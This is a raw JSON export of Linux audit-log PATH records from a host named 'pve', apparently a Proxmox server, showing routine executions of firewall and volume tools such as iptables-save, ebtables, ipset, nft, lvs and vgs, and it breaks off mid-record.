{"@timestamp":1781965266125,"@rawstring":"node=pve type=PATH msg=audit(1781965266.125:64883): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266125,"@rawstring":"node=pve type=PATH msg=audit(1781965266.125:64883): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266125,"@rawstring":"node=pve type=PATH msg=audit(1781965266.125:64882): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266120,"@rawstring":"node=pve type=PATH msg=audit(1781965266.120:64881): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266120,"@rawstring":"node=pve type=PATH msg=audit(1781965266.120:64881): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266120,"@rawstring":"node=pve type=PATH msg=audit(1781965266.120:64881): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266115,"@rawstring":"node=pve type=PATH msg=audit(1781965266.115:64880): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266115,"@rawstring":"node=pve type=PATH msg=audit(1781965266.115:64880): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266108,"@rawstring":"node=pve type=PATH msg=audit(1781965266.108:64879): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266108,"@rawstring":"node=pve type=PATH msg=audit(1781965266.108:64879): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266102,"@rawstring":"node=pve type=PATH msg=audit(1781965266.102:64878): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266102,"@rawstring":"node=pve type=PATH msg=audit(1781965266.102:64878): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266094,"@rawstring":"node=pve type=PATH msg=audit(1781965266.094:64877): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266094,"@rawstring":"node=pve type=PATH msg=audit(1781965266.094:64877): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266086,"@rawstring":"node=pve type=PATH msg=audit(1781965266.086:64875): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266086,"@rawstring":"node=pve type=PATH msg=audit(1781965266.086:64875): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266082,"@rawstring":"node=pve type=PATH msg=audit(1781965266.082:64874): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266082,"@rawstring":"node=pve type=PATH msg=audit(1781965266.082:64874): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266077,"@rawstring":"node=pve type=PATH msg=audit(1781965266.077:64873): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266077,"@rawstring":"node=pve type=PATH msg=audit(1781965266.077:64873): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266071,"@rawstring":"node=pve type=PATH msg=audit(1781965266.071:64872): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266071,"@rawstring":"node=pve type=PATH msg=audit(1781965266.071:64872): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266065,"@rawstring":"node=pve type=PATH msg=audit(1781965266.065:64871): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266065,"@rawstring":"node=pve type=PATH msg=audit(1781965266.065:64871): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266060,"@rawstring":"node=pve type=PATH msg=audit(1781965266.060:64870): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266060,"@rawstring":"node=pve type=PATH msg=audit(1781965266.060:64870): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266052,"@rawstring":"node=pve type=PATH msg=audit(1781965266.052:64869): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266052,"@rawstring":"node=pve type=PATH msg=audit(1781965266.052:64869): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266046,"@rawstring":"node=pve type=PATH msg=audit(1781965266.046:64868): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266046,"@rawstring":"node=pve type=PATH msg=audit(1781965266.046:64868): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266042,"@rawstring":"node=pve type=PATH msg=audit(1781965266.042:64867): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266042,"@rawstring":"node=pve type=PATH msg=audit(1781965266.042:64867): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266039,"@rawstring":"node=pve type=PATH msg=audit(1781965266.039:64866): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266039,"@rawstring":"node=pve type=PATH msg=audit(1781965266.039:64866): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266036,"@rawstring":"node=pve type=PATH msg=audit(1781965266.036:64865): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266036,"@rawstring":"node=pve type=PATH msg=audit(1781965266.036:64865): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266036,"@rawstring":"node=pve type=PATH msg=audit(1781965266.036:64864): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266032,"@rawstring":"node=pve type=PATH msg=audit(1781965266.032:64863): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266032,"@rawstring":"node=pve type=PATH msg=audit(1781965266.032:64863): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266032,"@rawstring":"node=pve type=PATH msg=audit(1781965266.032:64863): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266024,"@rawstring":"node=pve type=PATH msg=audit(1781965266.024:64862): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266024,"@rawstring":"node=pve type=PATH msg=audit(1781965266.024:64862): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266017,"@rawstring":"node=pve type=PATH msg=audit(1781965266.017:64861): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266017,"@rawstring":"node=pve type=PATH msg=audit(1781965266.017:64861): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266012,"@rawstring":"node=pve type=PATH msg=audit(1781965266.012:64860): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266012,"@rawstring":"node=pve type=PATH msg=audit(1781965266.012:64860): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266004,"@rawstring":"node=pve type=PATH msg=audit(1781965266.004:64859): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266004,"@rawstring":"node=pve type=PATH msg=audit(1781965266.004:64859): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965265996,"@rawstring":"node=pve type=PATH msg=audit(1781965265.996:64858): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965265996,"@rawstring":"node=pve type=PATH msg=audit(1781965265.996:64858): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965264368,"@rawstring":"node=pve type=PATH msg=audit(1781965264.368:64857): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965264368,"@rawstring":"node=pve type=PATH msg=audit(1781965264.368:64857): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965264342,"@rawstring":"node=pve type=PATH msg=audit(1781965264.342:64856): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965264342,"@rawstring":"node=pve type=PATH msg=audit(1781965264.342:64856): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965262358,"@rawstring":"node=pve type=PATH msg=audit(1781965262.358:64855): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965262358,"@rawstring":"node=pve type=PATH msg=audit(1781965262.358:64855): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965262358,"@rawstring":"node=pve type=PATH msg=audit(1781965262.358:64854): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965262358,"@rawstring":"node=pve type=PATH msg=audit(1781965262.358:64853): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965262350,"@rawstring":"node=pve type=PATH msg=audit(1781965262.350:64852): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965262350,"@rawstring":"node=pve type=PATH msg=audit(1781965262.350:64852): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965262350,"@rawstring":"node=pve type=PATH msg=audit(1781965262.350:64851): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965262350,"@rawstring":"node=pve type=PATH msg=audit(1781965262.350:64850): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965257339,"@rawstring":"node=pve type=PATH msg=audit(1781965257.339:64849): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965257339,"@rawstring":"node=pve type=PATH msg=audit(1781965257.339:64849): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965257339,"@rawstring":"node=pve type=PATH msg=audit(1781965257.339:64848): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965257339,"@rawstring":"node=pve type=PATH msg=audit(1781965257.339:64847): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965257333,"@rawstring":"node=pve type=PATH msg=audit(1781965257.333:64846): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965257333,"@rawstring":"node=pve type=PATH msg=audit(1781965257.333:64846): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965257333,"@rawstring":"node=pve type=PATH msg=audit(1781965257.333:64845): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965257333,"@rawstring":"node=pve type=PATH msg=audit(1781965257.333:64844): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255984,"@rawstring":"node=pve type=PATH msg=audit(1781965255.984:64843): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255984,"@rawstring":"node=pve type=PATH msg=audit(1781965255.984:64843): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255978,"@rawstring":"node=pve type=PATH msg=audit(1781965255.978:64842): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255978,"@rawstring":"node=pve type=PATH msg=audit(1781965255.978:64842): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255978,"@rawstring":"node=pve type=PATH msg=audit(1781965255.978:64841): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255978,"@rawstring":"node=pve type=PATH msg=audit(1781965255.978:64841): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255978,"@rawstring":"node=pve type=PATH msg=audit(1781965255.978:64840): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255973,"@rawstring":"node=pve type=PATH msg=audit(1781965255.973:64839): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255973,"@rawstring":"node=pve type=PATH msg=audit(1781965255.973:64839): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255973,"@rawstring":"node=pve type=PATH msg=audit(1781965255.973:64839): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255967,"@rawstring":"node=pve type=PATH msg=audit(1781965255.967:64838): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255967,"@rawstring":"node=pve type=PATH msg=audit(1781965255.967:64838): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255959,"@rawstring":"node=pve type=PATH msg=audit(1781965255.959:64837): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255959,"@rawstring":"node=pve type=PATH msg=audit(1781965255.959:64837): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255951,"@rawstring":"node=pve type=PATH msg=audit(1781965255.951:64836): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255951,"@rawstring":"node=pve type=PATH msg=audit(1781965255.951:64836): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255945,"@rawstring":"node=pve type=PATH msg=audit(1781965255.945:64835): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255945,"@rawstring":"node=pve type=PATH msg=audit(1781965255.945:64835): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255939,"@rawstring":"node=pve type=PATH msg=audit(1781965255.939:64833): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255939,"@rawstring":"node=pve type=PATH msg=audit(1781965255.939:64833): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255932,"@rawstring":"node=pve type=PATH msg=audit(1781965255.932:64832): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255932,"@rawstring":"node=pve type=PATH msg=audit(1781965255.932:64832): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255926,"@rawstring":"node=pve type=PATH msg=audit(1781965255.926:64831): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255926,"@rawstring":"node=pve type=PATH msg=audit(1781965255.926:64831): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965255922,"@rawstring":"node=pve type=PATH msg=audit(1781965255.922:64830): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 